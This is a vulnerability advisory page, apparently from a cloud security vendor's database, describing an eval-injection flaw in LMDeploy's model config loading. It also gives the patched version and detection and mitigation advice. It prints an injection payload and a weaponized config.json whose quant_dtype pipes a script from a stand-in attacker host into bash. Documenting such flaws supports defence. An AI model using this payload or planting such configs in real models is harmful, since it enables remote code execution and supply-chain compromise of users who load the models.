
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-33625 is a code injection (eval injection) vulnerability in InternLM's LMDeploy toolkit that allows an attacker to execute arbitrary Python code by publishing a malicious HuggingFace model with a crafted quantization_config.quant_dtype value. When a user loads such a model, the quant_dtype field is passed unsanitized to eval(f'torch.{quant_dtype}') in lmdeploy/pytorch/config.py at line 620. Affected versions are 0.12.1 through 0.12.2 (inclusive); version 0.12.3 contains the patch. The vulnerability was published to the GitHub Advisory Database on September 18, 2026, and carries a CVSS v3.1 base score of 8.8 (High) (Github Advisory, InternLM Advisory).
The root cause is CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code / Eval Injection): the quant_dtype value sourced from a HuggingFace model's quantization_config JSON is interpolated directly into a Python eval() call without any validation or sanitization (InternLM Advisory). The vulnerable code path is triggered when a model specifies quant_method: awq; the AWQ processing branch does not override quant_dtype, so a malicious value flows through to line 620: quant_dtype = eval(f'torch.{quant_dtype}'). Notably, the existing whitelist check in _update_torch_dtype (line 53) applies only to torch_dtype, not quant_dtype, leaving the latter entirely unprotected. An attacker can inject arbitrary Python expressions such as float16, __import__('os').system('id') to achieve OS command execution upon model load (Github Advisory).
Successful exploitation grants the attacker full arbitrary code execution with the privileges of the lmdeploy process — which in many deployment scenarios runs as root or a highly privileged service account. This enables reading sensitive files, executing OS commands, modifying system state, and potentially pivoting to other systems in the environment. The attack affects all deployment scenarios including local inference, cloud-hosted serving, and production pipelines, making it a significant supply-chain risk for any organization loading LLMs via lmdeploy (InternLM Advisory, Github Advisory).
A proof-of-concept is included in the official security advisory and demonstrates successful RCE (output: uid=0(root) gid=0(root) groups=0(root)) by simulating a malicious HuggingFace model config (InternLM Advisory). There is currently no evidence of in-the-wild exploitation or threat actor attribution (Github Advisory). The EPSS score is 0.0 at time of publication, and the vulnerability is not listed in the CISA KEV catalog. Exploitation requires user interaction in the form of a victim loading the malicious model, but no privileges are required from the attacker side, lowering the barrier for supply-chain abuse.
config.json with a weaponized quantization_config:{
"quantization_config": {
"quant_method": "awq",
"quant_dtype": "float16, __import__('os').system('curl http://attacker.com/shell.sh | bash')"
}
}lmdeploy serve <malicious-model-id> or loads it programmatically.ModelConfig.from_hf_config() reads quant_dtype from quantization_config and executes eval(f'torch.{quant_dtype}') at line 620 of lmdeploy/pytorch/config.py, evaluating the injected Python expression.sh, bash, curl, wget, python) immediately after model loading.uid=...) appearing in application stdout/stderr.quantization_config in a loaded model's config.json where quant_dtype contains characters beyond simple dtype names (e.g., parentheses, underscores, import statements, semicolons) (InternLM Advisory).Upgrade lmdeploy to version 0.12.3, which contains the security fix (PR #4447: "fix security issues") (LMDeploy v0.12.3). Until patching is complete, restrict model loading to trusted, verified sources only and manually inspect quantization_config.quant_dtype in model config.json files before loading. As a defense-in-depth measure, run lmdeploy processes under a least-privilege account and in an isolated environment (e.g., container with no network egress) to limit the blast radius of exploitation (Github Advisory).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."